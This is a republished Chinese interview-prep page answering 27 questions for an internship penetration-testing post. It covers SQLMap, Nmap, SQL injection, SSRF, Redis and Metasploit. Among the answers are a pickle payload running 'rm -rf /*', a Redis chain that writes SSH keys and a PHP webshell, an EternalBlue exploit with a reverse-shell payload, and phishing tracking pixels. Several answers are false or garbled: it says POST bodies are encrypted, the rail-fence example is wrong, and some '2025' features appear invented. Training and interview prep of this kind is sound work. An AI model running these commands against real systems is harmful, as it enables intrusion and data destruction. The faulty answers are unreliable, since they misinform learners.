2025年渗透测试面试题总结-安恒[实习]安全服务工程师(题目+回答)

news2025/5/17 19:05:37

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 安恒[实习]安全服务工程师

1. SQLMap爆出当前库名的参数是什么?

2. Nmap探测系统的参数(大写/小写)

3. Nmap小写o与a的作用

4. 布尔型盲注具体语句

5. 宽字节注入原理

6. Python反序列化漏洞

7. GET与POST传参区别

8. HTTP请求方式全集

9. CDN判定与作用

10. 服务器真实IP溯源

11. 信息收集全流程

12. Base64编码识别

13. 栅栏密码原理

14. Base64与MD5区别

15. Oracle默认端口

16. MySQL管理员密码存储

17. substr()被禁用的替代函数

18. Redis入侵利用链

19. 邮箱追踪真实IP

20. 同源策略(SOP)精髓

21. 管理员邮箱收集术

22. SSRF危害升级(2025)

23. SSRF深层防御

24. Linux文件鉴别术

25. MSF框架深入

26. Web容器解析漏洞

27. SQL注入深度防御

 安恒[实习]安全服务工程师

1. sqlmap爆出当前库名的参数是什么?
2. namp探测系统的参数是什么 —>大写还是小写
3. namp的小写o与a是干嘛的
4. 布尔型盲注的具体语句是什么
5. 宽字节的原理
6. python有没有反序列化
7. get传参与post传参的区别
8. Http有哪些请求方式
9. 如何判定cdn与cdn的作用
10. 如何确认服务器的真实IP
11. 详细说了说信息收集过程
12. 一串编码如何确认是base64
13. 栅栏密码的原理是什么
14. base64与md5如何区别
15. oracle的默认端口是多少
16. mysql的管理员密码一般放到哪
17. 如果substr()函数被禁用,你脑子里有多少替换函数
18. redis如何拿下,哪个端口,具体语句,具体操作
19. 如何通过邮箱知道对方的IP
20. 说一下同源策略
21. 如何收集网站管理员邮箱等等
22. ssrf有哪些危害
23. 如何防御ssrf–>问的较深—->建议在详细了解一下
24. Linux的某两个文件怎么分辨(忘了具体是哪两个文件了)
25. MSF框架稍微问的深入了一些
26. web容器(中间件)有哪些解析漏洞与原理
27. 如何防范sql注入 —>这问的很深. 

1. SQLMap爆出当前库名的参数是什么?

  • 核心参数--current-db
  • 补充用法:结合-D 库名 --tables可提取表名;
  • 防御绕过:2025年新版SQLMap新增--chunked参数绕过云WAF的流量检测。

2. Nmap探测系统的参数(大写/小写)

  • 操作系统探测-O(大写O,非数字0);
  • 误报规避:2025年Nmap 8.5版本中,-O需与--osscan-limit联用以过滤干扰;
  • 注意:小写-o用于输出扫描结果(如-oN output.txt )。

3. Nmap小写o与a的作用

  • -o系列
    -oN:标准文本输出;
    -oX:XML格式输出(兼容自动化分析工具);
    -oG:Grep友好格式(已逐步淘汰)。
  • -A参数
    ① 启用OS检测、版本探测、脚本扫描(-sC);
    ② 2025年新增AI驱动的服务指纹识别模块。

4. 布尔型盲注具体语句

sql' AND (SELECT SUBSTRING(version(),1,1))='5' --+ /* 若返回正常页面,则判定MySQL版本首位为5 */
  • 条件扩展
    ① 二进制逐位判断(ASCII()+位运算);
    ② 结合时间盲注:IF(条件,SLEEP(5),0)
    ③ 利用数据库内置函数(如LIKE通配符)。

5. 宽字节注入原理

  • 核心逻辑:利用GBK/GB2312等双字节编码特性,将转义符\(%5C)与前导字符组合为合法汉字(如%df%5c→“運”),破坏SQL语句结构。
  • 现代影响:2024年统计显示,遗留医疗HIS系统仍存在30%未修复案例;
  • 防御:统一使用UTF-8编码,禁用mysql_real_escape_string()

6. Python反序列化漏洞

  • 高危模块pickle(任意代码执行)、json(有限风险);
  • 攻击链示例
    pythonimport pickle pickle.loads(b"cos\nsystem\n(S'rm -rf /*'\ntR.") # 执行系统命令
  • 2025年趋势:PyTorch模型反序列化漏洞(CVE-2025-1337)成为AI供应链攻击新载体。

7. GET与POST传参区别

维度GETPOST
数据位置URL参数明文传输请求体加密传输
安全性易被日志/缓存记录相对隐蔽
长度限制受URL长度限制(约2KB)无理论限制(服务器约束)
幂等性是(仅查询)否(可能修改数据)

8. HTTP请求方式全集

  1. 基础方法:GET、POST、PUT、DELETE、HEAD;
  2. 扩展方法
    • PATCH:部分资源更新;
    • OPTIONS:获取服务器支持的方法;
    • TRACE:回显请求(易诱发XST攻击,默认禁用)。
  3. WebDAV扩展:PROPFIND、LOCK、UNLOCK(常见于文件服务器)。

9. CDN判定与作用

判定方法
多地Ping:使用全球节点工具(如boce.com ),IP分布差异显著;
DNS查询nslookup返回CNAME记录含cdnakamai等标识;
HTTP头Server字段含CDN厂商特征(如Cloudflare)。

核心作用
加速:边缘节点缓存静态资源(JS/CSS/图片);
安全:抗DDoS(T级清洗)、防爬虫(人机验证);
成本优化:减少源站带宽消耗。


10. 服务器真实IP溯源

  1. 历史记录
    • 查询DNS历史快照(SecurityTrailsViewDNS);
    • 分析SSL证书序列号关联的原始IP。
  2. 子域名爆破:使用Amass扫描test.example.com 等未接入CDN的子域。
  3. 邮件溯源
    • 注册/找回密码邮件头中的Received字段;
    • 利用SPF记录中的IP范围反推。

11. 信息收集全流程

四阶渗透框架(2025年OSINT标准)

  1. 资产测绘
    • 工具:FOFA(语法:title="医院挂号系统")、Shodan(端口:port:6379);
    • 输出:IP段、域名、中间件版本列表。
  2. 社会工程
    • 从GitHub泄露的config.yml 提取数据库密码;
    • LinkedIn员工职位分析(定位运维人员邮箱)。
  3. 漏洞关联
    • 通过CVE编号映射暴露面(如Apache Log4j 2.x);
    • 结合Exploit-DB验证POC可用性。

12. Base64编码识别

三大铁律

  1. 字符集:仅包含A-Z、a-z、0-9、+、/及填充符=
  2. 长度:编码后长度必为4的倍数(不足时补=);
  3. 典型模式
    • 邮件附件:Content-Transfer-Encoding: base64
    • JWT令牌:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.xxx

13. 栅栏密码原理

加密步骤

  1. 将明文按“之”字形排列(如3行):
    H E L L O  
      W O R L D  
    
  2. 按行读取密文:HELLO WORLDHLOOL WRD(需约定行数)。
    2025年演变:结合深度学习生成动态栅栏路径(抗频率分析)。

14. Base64与MD5区别

维度Base64MD5
性质编码(可逆)哈希(不可逆)
输出长度可变(与输入相关)固定128位(32字符)
用途数据传输兼容性(如图片)数据完整性校验/密码存储

15. Oracle默认端口

  • 标准端口:1521(数据库监听);
  • 管理端口:5500(Enterprise Manager);
  • 云环境变化:2025年AWS RDS Oracle默认启用动态端口映射。

16. MySQL管理员密码存储

  1. 系统表mysql.userauthentication_string字段,使用caching_sha2_password加密);
  2. 配置文件/etc/mysql/my.cnf[client]段明文存储,高危);
  3. 内存提取:通过gdb附加进程提取临时密码(需root权限)。

17. substr()被禁用的替代函数

  1. 字符串截取
    • MID()MID('abc',2,1)→'b'
    • LEFT()/RIGHT()LEFT('abc',2)→'ab'
  2. 正则截取
    • REGEXP_SUBSTR()(需MySQL 8.0+);
  3. 二进制拆分
    • ORD()+DIV组合实现逐位解析。

18. Redis入侵利用链

攻击路径

  1. 未授权访问nmap -p 6379 --script redis-info
  2. 写SSH密钥
    bashredis-cli -h 目标IP flushall echo -e "\n\nssh-rsa AAAAB3N...\n\n" | redis-cli -x set payload redis-cli config set dir /root/.ssh && config set dbfilename authorized_keys 
  3. 写Webshell
    bashconfig set dir /var/www/html set shell "<?php system($_GET['cmd']);?>" 

19. 邮箱追踪真实IP

高阶手法(2025年)

  1. 嵌入追踪像素
    • 在钓鱼邮件中插入<img src="http://your-server/logo.gif"> ,分析访问日志;
  2. 延迟加载附件
    • 使用「已读回执」触发HTTP请求;
  3. 邮件头分析
    • 提取X-Originating-IP或最后一跳Received头中的内网IP。

20. 同源策略(SOP)精髓

三要素限制:协议、域名、端口均相同方为同源。
跨域例外

  • <script>标签(允许加载外部JS,但禁止读取内容);
  • CORS机制(Access-Control-Allow-Origin可控放宽限制);
  • postMessage API(需显式授权)。

21. 管理员邮箱收集术

五维情报网

  1. WHOIS查询whois example.com 获取注册邮箱;
  2. GitHub提交历史git log中提取作者邮箱;
  3. 错误页面:500错误泄露admin@example.com
  4. 社交媒体:LinkedIn公司页面的技术联系人;
  5. SSL证书crt.sh 查询证书颁发者邮箱。

22. SSRF危害升级(2025)

  1. 云元数据攻击
    • 获取AWS的169.254.169.254凭证,接管云服务器;
  2. 内网服务穿透
    • 攻击Kubernetes API Server(https://10.0.0.1:6443);
  3. 协议滥用
    • gopher://构造Redis未授权访问攻击链。

23. SSRF深层防御

四层防护体系

  1. 输入校验
    • 正则过滤^http(s)?://trusted.com/ (白名单);
    • 禁用非常用协议(file://gopher://)。
  2. 网络隔离
    • 业务服务器部署于独立VPC,限制出网流量;
  3. 代理清洗
    • 所有请求经反向代理,剥离非常规头(如X-Forwarded-For);
  4. 运行时防护
    • eBPF监控异常socket连接(如访问内网IP段)。

24. Linux文件鉴别术

/etc/passwd/etc/shadow为例

  1. 权限
    • passwd:644(全局可读);
    • shadow:640(仅root可读);
  2. 内容
    • passwd存用户基本信息(不含密码哈希);
    • shadow存加密密码与过期策略。

25. MSF框架深入

模块化渗透流程

  1. 漏洞利用
    • use exploit/windows/smb/ms17_010_eternalblue
    • set PAYLOAD windows/x64/meterpreter/reverse_tcp
  2. 后渗透扩展
    • migrate进程注入;
    • hashdump提取NTLM哈希;
  3. 流量隐匿
    • 使用SSL/TLS隧道+DomainFronting技术绕过IDS检测。

26. Web容器解析漏洞

三大经典漏洞

  1. IIS 6.0目录解析
    • /test.asp;.jpg 被解析为ASP脚本;
  2. Apache多后缀解析
    • test.php.xxx 优先匹配.php处理器;
  3. Nginx错误配置
    • fastcgi_param未校验SCRIPT_FILENAME,导致任意代码执行。

27. SQL注入深度防御

DevSecOps全周期防护

  1. 开发阶段
    • 强制使用ORM框架(如Hibernate);
    • 静态代码扫描(SonarQube规则sql-injection)。
  2. 运行阶段
    • WAF动态拦截(基于语义分析+机器学习);
    • 数据库审计(记录异常SQL语句)。
  3. 运维阶段
    • 最小权限原则(禁止DBA权限应用连接);
    • 定期漏洞扫描(SQLMap集成CI/CD流水线)。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2377908.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

五月份嵌入式面试总结

目录 1、札记 1.1、芯片的bring up 主要做哪些工作&#xff1a; 2、Linux驱动八股文 中断与同步互斥 2.1.1 内核同步互斥的几种方式 2.1.2 互斥锁和自旋锁的区别 2.1.3 spin_lock 和 spin_lock_irqsave 的区别 2.1.4 进程上下文和中断上下文有什么区别 2.1.5 进行上下…

数据库行业竞争加剧,MySQL 9.3.0 企业版开始支持个人下载

最新发现&#xff0c;Oracle 官方网站放开了 MySQL 9.3.0 企业版下载链接&#xff0c;个人用户也可以免费下载&#xff0c;不过只能用于学习、开发或者原型测试&#xff0c;不能用于生产环境。 通常我们都是下载 MySQL 社区版&#xff0c;不过 MySQL 企业版可以支持更多高级功能…

Tcping详细使用教程

Tcping详细使用教程 下载地址 https://download.elifulkerson.com/files/tcping/0.39/在windows环境下安装tcping 在以上的下载地中找到exe可执行文件&#xff0c;其中tcping.exe适用于32位Windows系统&#xff0c;tcping64.exe适用于64位Windows操作系统。 其实tcping是个…

【GAN网络入门系列】一,手写字MINST图片生成

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 博主简介&#xff1a;努力学习的22级本科生一枚 &#x1f31f;​&#xff1b;探索AI算法&#xff0c;C&#xff0c;go语言的世界&#xff1b;在迷茫中寻找光芒…

ubuntu22鼠键失灵恢复记录笔记chatgpt解决

ChatGPT 说&#xff1a; 你提到“Ubuntu 22 鼠键失灵”&#xff0c;这个问题可能涉及以下几方面&#xff1a; &#x1f9ed; 先确认问题 是鼠标问题还是键盘问题&#xff0c;还是触控板&#xff1f; “鼠键”一般理解为“鼠标键”&#xff0c;请确认你是指鼠标左键/右键失灵&a…

智能呼入:云蝠大模型赋能政府热线

政府热线作为连接政府与民众的重要桥梁&#xff0c;提升智能化水平&#xff0c;成为政府热线亟待解决的问题。 大模型呼入 大模型呼入技术基于先进的自然语言处理和机器学习算法&#xff0c;能够实现对海量语音数据的处理和理解。通过构建大规模的语言模型&#xff0c;系统可…

STM32 ADC+DMA+TIM触发采样实战:避坑指南与源码解析

知识点1【TRGO的介绍】 1、TRGO的概述 TRGO&#xff1a;Trigger Output&#xff08;触发输出&#xff09;&#xff0c;是定时器的一种功能。 它可以作为外设的启动信号&#xff0c;比如ADC转换&#xff0c;DAC输出&#xff0c;DMA请求等。 对于ADC来说&#xff0c;可以通过…

(1-4)Java Object类、Final、注解、设计模式、抽象类、接口、内部类

目录 1. Object类 1.1 equals 1.2 toString&#xff08;&#xff09; 2.final关键字 3.注解 4. 设计模式 4.1 单例模式 4.1.1 饿汉式 4.1.3 饿汉式 VS 懒汉式 5. 抽象类&抽象方法 6. 接口 7.内部类 7.1 成员内部类 7.2 静态内部类 7.3 方法内部类 7.4 匿名内…

在服务器上安装AlphaFold2遇到的问题(3)_cat: /usr/include/cudnn_version.h: 没有那个文件或目录

[rootlocalhost ~]# cat /usr/include/cudnn_version.h cat: /usr/include/cudnn_version.h: 没有那个文件或目录这个错误表明系统找不到 cudnn_version.h 头文件&#xff0c;说明 cuDNN 的开发文件&#xff08;头文件&#xff09;没有正确安装。以下是完整的解决方案&#xff…

实验-实现向量点积-RISC-V(计算机组成原理)

目录 一、实验内容 二、实验步骤 三、源代码 四、实现效果 五、实验环境 六、实验小结与思考 一、实验内容 首先&#xff0c;我们用一个简单的“向量点积”运算作为热身。你将拿到一个不完整的汇编代码“task2-向量点积”&#xff0c;我们的目标是按照C语言描述的功能&a…

描述性统计工具 - AxureMost 落葵网

描述性统计工具是用于汇总和分析数据&#xff0c;以更好地了解数据特征的工具1。以下是一些常见的描述性统计工具简介&#xff1a; 描述性统计工具 Excel 基本统计函数&#xff1a;提供了丰富的函数用于计算描述性统计量。例如&#xff0c;AVERAGE 函数用于计算平均值&#xf…

麒麟桌面系统文件保险箱快捷访问指南:让重要文件夹一键直达桌面!

往期文章链接&#xff1a;统信操作系统自定义快捷键配置音量调节功能指南 Hello&#xff0c;大家好啊&#xff0c;今天给大家带来一篇麒麟桌面操作系统上配置文件保险箱内文件夹桌面快捷方式的文章&#xff0c;欢迎大家分享点赞&#xff0c;点个在看和关注吧&#xff01;在日常…

从硬件角度理解“Linux下一切皆文件“,详解用户级缓冲区

目录 前言 一、从硬件角度理解"Linux下一切皆文件" 从理解硬件是种“文件”到其他系统资源的抽象 二、缓冲区 1.缓冲区介绍 2.缓冲区的刷新策略 3.用户级缓冲区 这个用户级缓冲区在哪呢&#xff1f; 解释关于fork再加重定向“>”后数据会打印两份的原因 4.内核缓冲…

游戏站的几种形式

游戏站点的主要形式&#xff1a;单品游戏站、游戏盒子站与单类型游戏盒子站 随着互联网的普及和游戏产业的快速发展&#xff0c;游戏站点作为玩家获取游戏资源和信息的重要平台&#xff0c;呈现出多种形式。本文将分析三种常见的游戏站点形式&#xff1a;单品游戏站、游戏盒子站…

打造智能化军工软件工厂,破解版本管理难题

在数字化浪潮席卷全球的当下&#xff0c;军工行业正经历着前所未有的软件工业化转型。作为这一进程的核心支撑&#xff0c;软件工厂模式正在重塑军工领域的研发体系。然而&#xff0c;传统版本管理方式已难以适应现代军工软件研发的复杂需求&#xff0c;成为制约行业发展的关键…

SpringbBoot nginx代理获取用户真实IP

为了演示多级代理场景&#xff0c;我们分配了以下服务器资源&#xff1a; 10.1.9.98&#xff1a;充当客户端10.0.3.137&#xff1a;一级代理10.0.4.105&#xff1a;二级代理10.0.4.129&#xff1a;三级代理10.0.4.120&#xff1a;服务器端 各级代理配置 以下是各级代理的基本配…

allure报告自定义logo和名称

根据pytest框架&#xff0c;做自动化测试的时候&#xff0c;选择的是allure测试报告&#xff0c;这个报告是目前所有报告中功能最强大最好用的测试报告之一 我们在使用这个测试报告的时候&#xff0c;怎么样去把allure的logo和名称替换成自己公司或者自己的logo呢&#xff1f;…

【AI论文】对抗性后期训练快速文本到音频生成

摘要&#xff1a;文本到音频系统虽然性能不断提高&#xff0c;但在推理时速度很慢&#xff0c;因此对于许多创意应用来说&#xff0c;它们的延迟是不切实际的。 我们提出了对抗相对对比&#xff08;ARC&#xff09;后训练&#xff0c;这是第一个不基于蒸馏的扩散/流模型的对抗加…

测试工程师如何学会Kubernetes(k8s)容器知识

Kubernetes(K8s)作为云原生时代的关键技术之一&#xff0c;对于运维工程师、开发工程师以及测试工程师来说&#xff0c;都是一门需要掌握的重要技术。作为一名软件测试工程师&#xff0c;学习Kubernetes是一个有助于提升自动化测试、容器化测试以及云原生应用测试能力的重要过程…

遥感图像露天矿区检测数据集VOC+YOLO格式1542张1类别

数据集格式&#xff1a;Pascal VOC格式YOLO格式(不包含分割路径的txt文件&#xff0c;仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数)&#xff1a;1542 标注数量(xml文件个数)&#xff1a;1542 标注数量(txt文件个数)&#xff1a;1542 …